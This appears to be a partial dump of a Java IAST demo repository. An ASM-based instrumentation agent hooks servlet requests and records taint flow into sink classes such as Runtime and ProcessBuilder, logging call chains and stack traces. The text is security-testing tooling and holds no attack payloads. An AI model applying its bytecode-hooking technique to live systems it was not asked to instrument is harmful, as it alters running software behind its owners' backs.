├── .gitignore ├── iast ├── dependency-reduced-pom.xml ├── pom.xml └── src │ └── main │ ├── java │ └── cn │ │ └── org │ │ └── javaweb │ │ └── iast │ │ ├── Agent.java │ │ ├── AgentTransform.java │ │ ├── ClassUtils.java │ │ ├── IASTClassVisitor.java │ │ ├── contenxt │ │ ├── CallChain.java │ │ ├── HttpRequestContext.java │ │ └── RequestContext.java │ │ ├── core │ │ ├── Http.java │ │ ├── Propagator.java │ │ ├── Sink.java │ │ └── Source.java │ │ ├── http │ │ ├── IASTServletRequest.java │ │ └── IASTServletResponse.java │ │ └── visitor │ │ ├── Handler.java │ │ └── handler │ │ ├── HttpClassVisitorHandler.java │ │ ├── PropagatorClassVisitorHandler.java │ │ ├── SinkClassVisitorHandler.java │ │ └── SourceClassVisitorHandler.java │ └── resources │ └── MANIFEST.MF ├── java_iast_example.iml ├── pom.xml └── test-struts2 ├── pom.xml ├── src └── main │ ├── java │ └── cn │ │ └── org │ │ └── javaweb │ │ └── test │ │ └── action │ │ └── TestAction.java │ ├── resources │ └── struts.xml │ └── webapp │ ├── META-INF │ └── context.xml │ ├── WEB-INF │ └── web.xml │ ├── cmd.jsp │ ├── index.jsp │ └── req.jsp └── test-struts2.iml /.gitignore: -------------------------------------------------------------------------------- 1 | ### JetBrains template 2 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 3 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 4 | 5 | # User-specific stuff 6 | .idea/**/workspace.xml 7 | .idea/**/tasks.xml 8 | .idea/**/usage.statistics.xml 9 | .idea/**/dictionaries 10 | .idea/**/shelf 11 | 12 | # Generated files 13 | .idea/**/contentModel.xml 14 | 15 | # Sensitive or high-churn files 16 | .idea/**/dataSources/ 17 | .idea/**/dataSources.ids 18 | .idea/**/dataSources.local.xml 19 | .idea/**/sqlDataSources.xml 20 | .idea/**/dynamic.xml 21 | .idea/**/uiDesigner.xml 22 | .idea/**/dbnavigator.xml 23 | 24 | # Gradle 25 | .idea/**/gradle.xml 26 | .idea/**/libraries 27 | 28 | # Gradle and Maven with auto-import 29 | # When using Gradle or Maven with auto-import, you should exclude module files, 30 | # since they will be recreated, and may cause churn. Uncomment if using 31 | # auto-import. 32 | # .idea/artifacts 33 | # .idea/compiler.xml 34 | # .idea/jarRepositories.xml 35 | # .idea/modules.xml 36 | # .idea/*.iml 37 | # .idea/modules 38 | # *.iml 39 | # *.ipr 40 | 41 | # CMake 42 | cmake-build-*/ 43 | 44 | # Mongo Explorer plugin 45 | .idea/**/mongoSettings.xml 46 | 47 | # File-based project format 48 | *.iws 49 | 50 | # IntelliJ 51 | out/ 52 | 53 | # mpeltonen/sbt-idea plugin 54 | .idea_modules/ 55 | 56 | # JIRA plugin 57 | atlassian-ide-plugin.xml 58 | 59 | # Cursive Clojure plugin 60 | .idea/replstate.xml 61 | 62 | # Crashlytics plugin (for Android Studio and IntelliJ) 63 | com_crashlytics_export_strings.xml 64 | crashlytics.properties 65 | crashlytics-build.properties 66 | fabric.properties 67 | 68 | # Editor-based Rest Client 69 | .idea/httpRequests 70 | 71 | # Android studio 3.1+ serialized cache file 72 | .idea/caches/build_file_checksums.ser 73 | 74 | ### Example user template template 75 | ### Example user template 76 | 77 | # IntelliJ project files 78 | .idea 79 | *.iml 80 | out 81 | gen 82 | ### Java template 83 | # Compiled class file 84 | *.class 85 | 86 | # Log file 87 | *.log 88 | 89 | # BlueJ files 90 | *.ctxt 91 | 92 | # Mobile Tools for Java (J2ME) 93 | .mtj.tmp/ 94 | 95 | # Package Files # 96 | *.jar 97 | *.war 98 | *.nar 99 | *.ear 100 | *.zip 101 | *.tar.gz 102 | *.rar 103 | 104 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 105 | hs_err_pid* 106 | 107 | /iast/target/ 108 | /test-struts2/target/ 109 | -------------------------------------------------------------------------------- /iast/dependency-reduced-pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | spring-boot-starter-parent 5 | org.springframework.boot 6 | 2.1.3.RELEASE 7 | pom.xml 8 | 9 | 4.0.0 10 | cn.org.javaweb 11 | iast 12 | iast 13 | 1.0.0 14 | Iast Demo 15 | 16 | agent 17 | 18 | 19 | maven-compiler-plugin 20 | 21 | 8 22 | 8 23 | 24 | 25 | 26 | maven-jar-plugin 27 | 2.3.2 28 | 29 | 30 | src/main/resources/MANIFEST.MF 31 | 32 | 33 | 34 | 35 | maven-shade-plugin 36 | 2.3 37 | 38 | 39 | package 40 | 41 | shade 42 | 43 | 44 | 45 | 46 | commons-io:commons-io:jar:* 47 | org.ow2.asm:asm-all:jar:* 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | maven-surefire-plugin 56 | 2.21.0 57 | 58 | true 59 | 60 | 61 | 62 | 63 | 64 | 65 | ali-maven 66 | http://maven.aliyun.com/nexus/content/groups/public 67 | 68 | 69 | 70 | 71 | org.ow2.asm 72 | asm-all 73 | 5.1 74 | provided 75 | 76 | 77 | commons-io 78 | commons-io 79 | 2.2 80 | provided 81 | 82 | 83 | javax.servlet 84 | javax.servlet-api 85 | 3.1.0 86 | provided 87 | 88 | 89 | 90 | 1.8 91 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /iast/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework.boot 7 | spring-boot-starter-parent 8 | 2.1.3.RELEASE 9 | 10 | 11 | cn.org.javaweb 12 | iast 13 | 1.0.0 14 | iast 15 | Iast Demo 16 | 17 | 18 | ali-maven 19 | http://maven.aliyun.com/nexus/content/groups/public 20 | 21 | 22 | 23 | 24 | 1.8 25 | 26 | 27 | 28 | 29 | org.ow2.asm 30 | asm-all 31 | 5.1 32 | 33 | 34 | commons-io 35 | commons-io 36 | 2.2 37 | 38 | 39 | javax.servlet 40 | javax.servlet-api 41 | 3.1.0 42 | provided 43 | 44 | 45 | 46 | 47 | agent 48 | 49 | 50 | org.apache.maven.plugins 51 | maven-compiler-plugin 52 | 53 | 8 54 | 8 55 | 56 | 57 | 58 | org.apache.maven.plugins 59 | maven-jar-plugin 60 | 2.3.2 61 | 62 | 63 | src/main/resources/MANIFEST.MF 64 | 65 | 66 | 67 | 68 | org.apache.maven.plugins 69 | maven-shade-plugin 70 | 2.3 71 | 72 | 73 | package 74 | 75 | shade 76 | 77 | 78 | 79 | 80 | commons-io:commons-io:jar:* 81 | org.ow2.asm:asm-all:jar:* 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | org.apache.maven.plugins 90 | maven-surefire-plugin 91 | 2.21.0 92 | 93 | true 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/Agent.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast; 2 | 3 | import java.lang.instrument.Instrumentation; 4 | import java.lang.instrument.UnmodifiableClassException; 5 | import java.util.Base64; 6 | 7 | /** 8 | * @author iiusky - 03sec.com 9 | */ 10 | public class Agent { 11 | 12 | public static void premain(String agentArgs, Instrumentation inst) 13 | throws UnmodifiableClassException { 14 | inst.addTransformer(new AgentTransform(), true); 15 | inst.retransformClasses(Runtime.class); 16 | inst.retransformClasses(Base64.class); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/AgentTransform.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast; 2 | 3 | import org.objectweb.asm.ClassReader; 4 | import org.objectweb.asm.ClassVisitor; 5 | import org.objectweb.asm.ClassWriter; 6 | 7 | import java.lang.instrument.ClassFileTransformer; 8 | import java.lang.instrument.IllegalClassFormatException; 9 | import java.security.ProtectionDomain; 10 | import java.util.regex.Pattern; 11 | 12 | /** 13 | * @author iiusky - 03sec.com 14 | */ 15 | public class AgentTransform implements ClassFileTransformer { 16 | 17 | /** 18 | * @param loader 19 | * @param className 20 | * @param classBeingRedefined 21 | * @param protectionDomain 22 | * @param classfileBuffer 23 | * @return 24 | * @throws IllegalClassFormatException 25 | */ 26 | @Override 27 | public byte[] transform(ClassLoader loader, String className, 28 | Class classBeingRedefined, ProtectionDomain protectionDomain, 29 | byte[] classfileBuffer) throws IllegalClassFormatException { 30 | 31 | className = className.replace("/", "."); 32 | if (className.contains("cn.org.javaweb.iast")) { 33 | System.out.println("Skip class: " + className); 34 | return classfileBuffer; 35 | } 36 | 37 | if (className.contains("java.lang.invoke")) { 38 | System.out.println("Skip class: " + className); 39 | return classfileBuffer; 40 | } 41 | byte[] originalClassfileBuffer = classfileBuffer; 42 | 43 | ClassReader classReader = new ClassReader(classfileBuffer); 44 | ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS); 45 | ClassVisitor classVisitor = new IASTClassVisitor(className, classWriter); 46 | 47 | classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES); 48 | 49 | classfileBuffer = classWriter.toByteArray(); 50 | className = className.replace("/", "."); 51 | 52 | 53 | String regexp = "(Decoder|Servlet|connector|Request|Parameters|Base64|Runtime|ProcessBuilder)"; 54 | 55 | if (Pattern.compile(regexp).matcher(className).find()) { 56 | ClassUtils.dumpClassFile("/Users/sky/Data/code/A-Self/java/java_iast_example/class/", className, classfileBuffer, originalClassfileBuffer); 57 | } 58 | 59 | return classfileBuffer; 60 | } 61 | 62 | } 63 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/ClassUtils.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | 6 | import static org.apache.commons.io.FileUtils.writeByteArrayToFile; 7 | 8 | /** 9 | * @author iiusky - 03sec.com 10 | */ 11 | public class ClassUtils { 12 | 13 | public static void dumpClassFile(String path, String className, byte[] classfileBuffer, byte[] originalClassfileBuffer) { 14 | String filename; 15 | try { 16 | if (className.lastIndexOf('.') == -1) { 17 | filename = className; 18 | } else { 19 | filename = className.substring(className.lastIndexOf('.') + 1); 20 | } 21 | path = path + className.replace(filename, "").replace(".", "/").replace("$", "_"); 22 | 23 | final File newClass = new File(path + filename + ".class"); 24 | final File originalClass = new File(path + filename + "-original.class"); 25 | final File classPath = new File(newClass.getParent()); 26 | 27 | if (!classPath.mkdirs() && !classPath.exists()) { 28 | System.out.printf("create dump classpath=%s failed.\n", classPath); 29 | } else { 30 | writeByteArrayToFile(newClass, classfileBuffer); 31 | writeByteArrayToFile(originalClass, originalClassfileBuffer); 32 | } 33 | } catch (IOException e) { 34 | e.printStackTrace(); 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/IASTClassVisitor.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast; 2 | 3 | import cn.org.javaweb.iast.visitor.handler.HttpClassVisitorHandler; 4 | import cn.org.javaweb.iast.visitor.handler.PropagatorClassVisitorHandler; 5 | import cn.org.javaweb.iast.visitor.handler.SinkClassVisitorHandler; 6 | import cn.org.javaweb.iast.visitor.handler.SourceClassVisitorHandler; 7 | import org.objectweb.asm.ClassVisitor; 8 | import org.objectweb.asm.MethodVisitor; 9 | import org.objectweb.asm.Opcodes; 10 | 11 | 12 | /** 13 | * @author iiusky - 03sec.com 14 | */ 15 | public class IASTClassVisitor extends ClassVisitor implements Opcodes { 16 | 17 | private final String className; 18 | 19 | public IASTClassVisitor(String className, ClassVisitor cv) { 20 | super(Opcodes.ASM5, cv); 21 | this.className = className; 22 | } 23 | 24 | @Override 25 | public MethodVisitor visitMethod(final int access, final String name, final String desc, final String signature, String[] exceptions) { 26 | MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions); 27 | 28 | // 处理request、response相关的hook 29 | HttpClassVisitorHandler httpClassVisitorHandler = new HttpClassVisitorHandler(); 30 | mv = httpClassVisitorHandler.ClassVisitorHandler(mv, className, access, name, desc, signature, exceptions); 31 | 32 | // 处理request中各种get相关的hook 33 | SourceClassVisitorHandler sourceClassVisitorHandler = new SourceClassVisitorHandler(); 34 | mv = sourceClassVisitorHandler.ClassVisitorHandler(mv, className, access, name, desc, signature, exceptions); 35 | 36 | // 处理中间传播者相关hook 37 | PropagatorClassVisitorHandler propagatorClassVisitorHandler = new PropagatorClassVisitorHandler(); 38 | mv = propagatorClassVisitorHandler.ClassVisitorHandler(mv, className, access, name, desc, signature, exceptions); 39 | 40 | // 处理最终sink点相关的hook 41 | SinkClassVisitorHandler sinkClassVisitorHandler = new SinkClassVisitorHandler(); 42 | mv = sinkClassVisitorHandler.ClassVisitorHandler(mv, className, access, name, desc, signature, exceptions); 43 | 44 | return mv; 45 | } 46 | } 47 | 48 | 49 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/contenxt/CallChain.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.contenxt; 2 | 3 | /** 4 | * @author iiusky - 03sec.com 5 | */ 6 | public class CallChain { 7 | 8 | /** 9 | * 链路类型 10 | */ 11 | private String chainType; 12 | 13 | /** 14 | * 返回结果对象 15 | */ 16 | private Object returnObject; 17 | 18 | /** 19 | * 参数数组对象 20 | */ 21 | private Object[] argumentArray; 22 | 23 | /** 24 | * java类名 25 | */ 26 | private String javaClassName; 27 | 28 | /** 29 | * java方法名 30 | */ 31 | private String javaMethodName; 32 | 33 | /** 34 | * java方法描述符 35 | */ 36 | private String javaMethodDesc; 37 | 38 | /** 39 | * 方法是否为静态方法 40 | */ 41 | private boolean isStatic; 42 | 43 | // 调用堆栈 StackTrace 44 | public StackTraceElement[] StackTraceElement; 45 | 46 | public String getChainType() { 47 | return chainType; 48 | } 49 | 50 | public void setChainType(String chainType) { 51 | this.chainType = chainType; 52 | } 53 | 54 | public Object getReturnObject() { 55 | return returnObject; 56 | } 57 | 58 | public void setReturnObject(Object returnObject) { 59 | this.returnObject = returnObject; 60 | } 61 | 62 | public Object[] getArgumentArray() { 63 | return argumentArray; 64 | } 65 | 66 | public void setArgumentArray(Object[] argumentArray) { 67 | this.argumentArray = argumentArray; 68 | } 69 | 70 | public String getJavaClassName() { 71 | return javaClassName; 72 | } 73 | 74 | public void setJavaClassName(String javaClassName) { 75 | this.javaClassName = javaClassName; 76 | } 77 | 78 | public String getJavaMethodName() { 79 | return javaMethodName; 80 | } 81 | 82 | public void setJavaMethodName(String javaMethodName) { 83 | this.javaMethodName = javaMethodName; 84 | } 85 | 86 | public String getJavaMethodDesc() { 87 | return javaMethodDesc; 88 | } 89 | 90 | public void setJavaMethodDesc(String javaMethodDesc) { 91 | this.javaMethodDesc = javaMethodDesc; 92 | } 93 | 94 | public boolean isStatic() { 95 | return isStatic; 96 | } 97 | 98 | public void setStatic(boolean aStatic) { 99 | isStatic = aStatic; 100 | } 101 | 102 | public StackTraceElement[] getStackTraceElement() { 103 | return StackTraceElement; 104 | } 105 | 106 | public void setStackTraceElement(StackTraceElement[] setStackTraceElement) { 107 | this.StackTraceElement = setStackTraceElement; 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/contenxt/HttpRequestContext.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.contenxt; 2 | 3 | import cn.org.javaweb.iast.http.IASTServletRequest; 4 | import cn.org.javaweb.iast.http.IASTServletResponse; 5 | 6 | import java.util.LinkedList; 7 | 8 | /** 9 | * @author iiusky - 03sec.com 10 | */ 11 | public class HttpRequestContext { 12 | 13 | private final IASTServletRequest servletRequest; 14 | 15 | private final IASTServletResponse servletResponse; 16 | 17 | private LinkedList callChain; 18 | 19 | public HttpRequestContext(IASTServletRequest servletRequest, IASTServletResponse servletResponse) { 20 | this.servletRequest = servletRequest; 21 | this.servletResponse = servletResponse; 22 | this.callChain = new LinkedList<>(); 23 | } 24 | 25 | 26 | public IASTServletRequest getServletRequest() { 27 | return servletRequest; 28 | } 29 | 30 | public LinkedList getCallChain() { 31 | return callChain; 32 | } 33 | 34 | public void addCallChain(CallChain callChain) { 35 | this.callChain.add(callChain); 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/contenxt/RequestContext.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.contenxt; 2 | 3 | import cn.org.javaweb.iast.http.IASTServletRequest; 4 | import cn.org.javaweb.iast.http.IASTServletResponse; 5 | 6 | /** 7 | * @author iiusky - 03sec.com 8 | */ 9 | public class RequestContext { 10 | 11 | private static final ThreadLocal HTTP_REQUEST_CONTEXT_THREAD_LOCAL = new ThreadLocal(); 12 | 13 | public static HttpRequestContext getHttpRequestContextThreadLocal() { 14 | return HTTP_REQUEST_CONTEXT_THREAD_LOCAL.get(); 15 | } 16 | 17 | public static void setHttpRequestContextThreadLocal(IASTServletRequest request, IASTServletResponse response) { 18 | IASTServletRequest iastServletRequest = request; 19 | IASTServletResponse iastServletResponse = response; 20 | HTTP_REQUEST_CONTEXT_THREAD_LOCAL.set(new HttpRequestContext(iastServletRequest, iastServletResponse)); 21 | } 22 | 23 | } -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/core/Http.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.core; 2 | 3 | import cn.org.javaweb.iast.contenxt.HttpRequestContext; 4 | import cn.org.javaweb.iast.contenxt.RequestContext; 5 | import cn.org.javaweb.iast.http.IASTServletRequest; 6 | import cn.org.javaweb.iast.http.IASTServletResponse; 7 | 8 | import java.util.Arrays; 9 | 10 | /** 11 | * @author iiusky - 03sec.com 12 | */ 13 | public class Http { 14 | 15 | /** 16 | * 在HTTP方法结束前调用,主要是对存在当前上下文的结果进行可视化打印输出 17 | */ 18 | public static void leaveHttp() { 19 | IASTServletRequest request = RequestContext.getHttpRequestContextThreadLocal() 20 | .getServletRequest(); 21 | System.out.printf("URL : %s \n", request.getRequestURL().toString()); 22 | System.out.printf("URI : %s \n", request.getRequestURI().toString()); 23 | System.out.printf("QueryString : %s \n", request.getQueryString().toString()); 24 | System.out.printf("HTTP Method : %s \n", request.getMethod()); 25 | RequestContext.getHttpRequestContextThreadLocal().getCallChain().forEach(item -> { 26 | if (item.getChainType().contains("leave")) { 27 | String returnData = null; 28 | if (item.getReturnObject().getClass().equals(byte[].class)) { 29 | returnData = new String((byte[]) item.getReturnObject()); 30 | } else if (item.getReturnObject().getClass().equals(char[].class)) { 31 | returnData = new String((char[]) item.getReturnObject()); 32 | } else { 33 | returnData = item.getReturnObject().toString(); 34 | } 35 | 36 | System.out 37 | .printf("Type: %s CALL Method Name: %s CALL Method Return: %s \n", item.getChainType(), 38 | item.getJavaClassName() +"#"+ item.getJavaMethodName(), returnData); 39 | } else { 40 | System.out 41 | .printf("Type: %s CALL Method Name: %s CALL Method Args: %s \n", item.getChainType(), 42 | item.getJavaClassName() +"#"+ item.getJavaMethodName(), 43 | Arrays.asList(item.getArgumentArray())); 44 | } 45 | 46 | // 如果是Sink类型,则还会输出调用栈信息 47 | if (item.getChainType().contains("Sink")) { 48 | int depth = 1; 49 | StackTraceElement[] elements = item.getStackTraceElement(); 50 | 51 | for (StackTraceElement element : elements) { 52 | if (element.getClassName().contains("cn.org.javaweb.iast") || 53 | element.getClassName().contains("java.lang.Thread")) { 54 | continue; 55 | } 56 | System.out.printf("%9s".replace("9", String.valueOf(depth)), ""); 57 | System.out.println(element); 58 | depth++; 59 | } 60 | } 61 | }); 62 | } 63 | 64 | /** 65 | * 判断当前上下文是否缓存了Request请求 66 | * 67 | * @return boolean 68 | */ 69 | public static boolean haveEnterHttp() { 70 | HttpRequestContext context = RequestContext.getHttpRequestContextThreadLocal(); 71 | return context != null; 72 | } 73 | 74 | 75 | /** 76 | * 在HTTP方法进入的时候调用,如果当前上下文为空, 77 | * 就将`HttpServletRequest`和`HttpServletResponse`对象存到当前线程的上下文中 78 | * 方便后续对数据的调取使用。 79 | */ 80 | public static void enterHttp(Object[] objects) { 81 | if (!haveEnterHttp()) { 82 | IASTServletRequest request = new IASTServletRequest(objects[0]); 83 | IASTServletResponse response = new IASTServletResponse(objects[1]); 84 | 85 | RequestContext.setHttpRequestContextThreadLocal(request, response); 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/core/Propagator.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.core; 2 | 3 | import cn.org.javaweb.iast.contenxt.CallChain; 4 | import cn.org.javaweb.iast.contenxt.RequestContext; 5 | 6 | import static cn.org.javaweb.iast.core.Http.haveEnterHttp; 7 | 8 | /** 9 | * @author iiusky - 03sec.com 10 | */ 11 | public class Propagator { 12 | 13 | /** 14 | * 进入Propagator点 15 | * 16 | * @param argumentArray 参数数组 17 | * @param javaClassName 类名 18 | * @param javaMethodName 方法名 19 | * @param javaMethodDesc 方法描述符 20 | * @param isStatic 是否为静态方法 21 | */ 22 | public static void enterPropagator(Object[] argumentArray, 23 | String javaClassName, 24 | String javaMethodName, 25 | String javaMethodDesc, 26 | boolean isStatic) { 27 | if (haveEnterHttp()) { 28 | CallChain callChain = new CallChain(); 29 | callChain.setChainType("enterPropagator"); 30 | callChain.setArgumentArray(argumentArray); 31 | callChain.setJavaClassName(javaClassName); 32 | callChain.setJavaMethodName(javaMethodName); 33 | callChain.setJavaMethodDesc(javaMethodDesc); 34 | callChain.setStatic(isStatic); 35 | 36 | RequestContext.getHttpRequestContextThreadLocal().addCallChain(callChain); 37 | } 38 | 39 | } 40 | 41 | /** 42 | * 离开Propagator点 43 | * 44 | * @param returnObject 返回值对象 45 | * @param javaClassName 类名 46 | * @param javaMethodName 方法名 47 | * @param javaMethodDesc 方法描述符 48 | * @param isStatic 是否为静态方法 49 | */ 50 | public static void leavePropagator(Object returnObject, 51 | String javaClassName, 52 | String javaMethodName, 53 | String javaMethodDesc, 54 | boolean isStatic) { 55 | if (haveEnterHttp()) { 56 | 57 | CallChain callChain = new CallChain(); 58 | callChain.setChainType("leavePropagator"); 59 | callChain.setReturnObject(returnObject); 60 | callChain.setJavaClassName(javaClassName); 61 | callChain.setJavaMethodName(javaMethodName); 62 | callChain.setJavaMethodDesc(javaMethodDesc); 63 | callChain.setStatic(isStatic); 64 | RequestContext.getHttpRequestContextThreadLocal().addCallChain(callChain); 65 | 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/core/Sink.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.core; 2 | 3 | import cn.org.javaweb.iast.contenxt.CallChain; 4 | import cn.org.javaweb.iast.contenxt.RequestContext; 5 | 6 | import static cn.org.javaweb.iast.core.Http.haveEnterHttp; 7 | 8 | /** 9 | * @author iiusky - 03sec.com 10 | */ 11 | public class Sink { 12 | 13 | /** 14 | * 进入Sink点 15 | * 16 | * @param argumentArray 参数数组 17 | * @param javaClassName 类名 18 | * @param javaMethodName 方法名 19 | * @param javaMethodDesc 方法描述符 20 | * @param isStatic 是否为静态方法 21 | */ 22 | public static void enterSink(Object[] argumentArray, 23 | String javaClassName, 24 | String javaMethodName, 25 | String javaMethodDesc, 26 | boolean isStatic) { 27 | if (haveEnterHttp()) { 28 | CallChain callChain = new CallChain(); 29 | callChain.setChainType("enterSink"); 30 | callChain.setArgumentArray(argumentArray); 31 | callChain.setJavaClassName(javaClassName); 32 | callChain.setJavaMethodName(javaMethodName); 33 | callChain.setJavaMethodDesc(javaMethodDesc); 34 | callChain.setStatic(isStatic); 35 | callChain.setStackTraceElement(Thread.currentThread().getStackTrace()); 36 | RequestContext.getHttpRequestContextThreadLocal().addCallChain(callChain); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/core/Source.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.core; 2 | 3 | import cn.org.javaweb.iast.contenxt.CallChain; 4 | import cn.org.javaweb.iast.contenxt.RequestContext; 5 | 6 | /** 7 | * @author iiusky - 03sec.com 8 | */ 9 | public class Source { 10 | 11 | /** 12 | * 进入Source点 13 | * 14 | * @param argumentArray 参数数组 15 | * @param javaClassName 类名 16 | * @param javaMethodName 方法名 17 | * @param javaMethodDesc 方法描述符 18 | * @param isStatic 是否为静态方法 19 | */ 20 | public static void enterSource(Object[] argumentArray, 21 | String javaClassName, 22 | String javaMethodName, 23 | String javaMethodDesc, 24 | boolean isStatic) { 25 | if (Http.haveEnterHttp()) { 26 | CallChain callChain = new CallChain(); 27 | callChain.setChainType("enterSource"); 28 | callChain.setArgumentArray(argumentArray); 29 | callChain.setJavaClassName(javaClassName); 30 | callChain.setJavaMethodName(javaMethodName); 31 | callChain.setJavaMethodDesc(javaMethodDesc); 32 | callChain.setStatic(isStatic); 33 | RequestContext.getHttpRequestContextThreadLocal().addCallChain(callChain); 34 | } 35 | } 36 | 37 | /** 38 | * 离开Source点 39 | * 40 | * @param returnObject 返回值对象 41 | * @param javaClassName 类名 42 | * @param javaMethodName 方法名 43 | * @param javaMethodDesc 方法描述符 44 | * @param isStatic 是否为静态方法 45 | */ 46 | public static void leaveSource(Object returnObject, 47 | String javaClassName, 48 | String javaMethodName, 49 | String javaMethodDesc, 50 | boolean isStatic) { 51 | if (Http.haveEnterHttp()) { 52 | CallChain callChain = new CallChain(); 53 | callChain.setChainType("leaveSource"); 54 | callChain.setReturnObject(returnObject); 55 | callChain.setJavaClassName(javaClassName); 56 | callChain.setJavaMethodName(javaMethodName); 57 | callChain.setJavaMethodDesc(javaMethodDesc); 58 | callChain.setStatic(isStatic); 59 | RequestContext.getHttpRequestContextThreadLocal().addCallChain(callChain); 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/http/IASTServletRequest.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.http; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.IOException; 5 | import java.io.UnsupportedEncodingException; 6 | import java.lang.reflect.Method; 7 | import java.util.Enumeration; 8 | import java.util.Map; 9 | 10 | /** 11 | * @author iiusky - 03sec.com 12 | */ 13 | public class IASTServletRequest { 14 | 15 | private Object request; 16 | 17 | private Class requestClass; 18 | 19 | public IASTServletRequest(Object request) { 20 | this.request = request; 21 | this.requestClass = request.getClass(); 22 | } 23 | 24 | public Class getRequestClass() { 25 | return requestClass; 26 | } 27 | 28 | public String getHeader(String name) { 29 | try { 30 | Method method = requestClass.getMethod("getHeader", String.class); 31 | method.setAccessible(true); 32 | return (String) method.invoke(request, name); 33 | } catch (Exception e) { 34 | e.printStackTrace(); 35 | return null; 36 | } 37 | } 38 | 39 | public Enumeration getHeaders(String name) { 40 | try { 41 | Method method = requestClass.getMethod("getHeaders", String.class); 42 | method.setAccessible(true); 43 | return (Enumeration) method.invoke(request, name); 44 | } catch (Exception e) { 45 | e.printStackTrace(); 46 | return null; 47 | } 48 | } 49 | 50 | public Enumeration getHeaderNames() { 51 | try { 52 | Method method = requestClass.getMethod("getHeaderNames"); 53 | method.setAccessible(true); 54 | return (Enumeration) method.invoke(request); 55 | } catch (Exception e) { 56 | e.printStackTrace(); 57 | return null; 58 | } 59 | } 60 | 61 | public String getMethod() { 62 | try { 63 | Method method = requestClass.getMethod("getMethod"); 64 | method.setAccessible(true); 65 | return (String) method.invoke(request); 66 | } catch (Exception e) { 67 | e.printStackTrace(); 68 | return null; 69 | } 70 | } 71 | 72 | public String getContextPath() { 73 | try { 74 | Method method = requestClass.getMethod("getContextPath"); 75 | method.setAccessible(true); 76 | return (String) method.invoke(request); 77 | } catch (Exception e) { 78 | e.printStackTrace(); 79 | return null; 80 | } 81 | } 82 | 83 | public String getQueryString() { 84 | try { 85 | Method method = requestClass.getMethod("getQueryString"); 86 | method.setAccessible(true); 87 | return (String) method.invoke(request); 88 | } catch (Exception e) { 89 | e.printStackTrace(); 90 | return null; 91 | } 92 | } 93 | 94 | public String getRequestedSessionId() { 95 | try { 96 | Method method = requestClass.getMethod("getRequestedSessionId"); 97 | method.setAccessible(true); 98 | return (String) method.invoke(request); 99 | } catch (Exception e) { 100 | e.printStackTrace(); 101 | return null; 102 | } 103 | } 104 | 105 | public String getRequestURI() { 106 | try { 107 | Method method = requestClass.getMethod("getRequestURI"); 108 | method.setAccessible(true); 109 | return (String) method.invoke(request); 110 | } catch (Exception e) { 111 | e.printStackTrace(); 112 | return null; 113 | } 114 | } 115 | 116 | public StringBuffer getRequestURL() { 117 | try { 118 | Method method = requestClass.getMethod("getRequestURL"); 119 | method.setAccessible(true); 120 | return (StringBuffer) method.invoke(request); 121 | } catch (Exception e) { 122 | e.printStackTrace(); 123 | return null; 124 | } 125 | } 126 | 127 | public String getServletPath() { 128 | try { 129 | Method method = requestClass.getMethod("getServletPath"); 130 | method.setAccessible(true); 131 | return (String) method.invoke(request); 132 | } catch (Exception e) { 133 | e.printStackTrace(); 134 | return null; 135 | } 136 | } 137 | 138 | public String getCharacterEncoding() { 139 | try { 140 | Method method = requestClass.getMethod("getCharacterEncoding"); 141 | method.setAccessible(true); 142 | return (String) method.invoke(request); 143 | } catch (Exception e) { 144 | e.printStackTrace(); 145 | return null; 146 | } 147 | } 148 | 149 | public void setCharacterEncoding(String env) throws UnsupportedEncodingException { 150 | try { 151 | Method method = requestClass.getMethod("setCharacterEncoding", String.class); 152 | method.setAccessible(true); 153 | method.invoke(request, env); 154 | } catch (Exception e) { 155 | e.printStackTrace(); 156 | } 157 | } 158 | 159 | public int getContentLength() { 160 | try { 161 | Method method = requestClass.getMethod("getContentLength"); 162 | method.setAccessible(true); 163 | return (Integer) method.invoke(request); 164 | } catch (Exception e) { 165 | 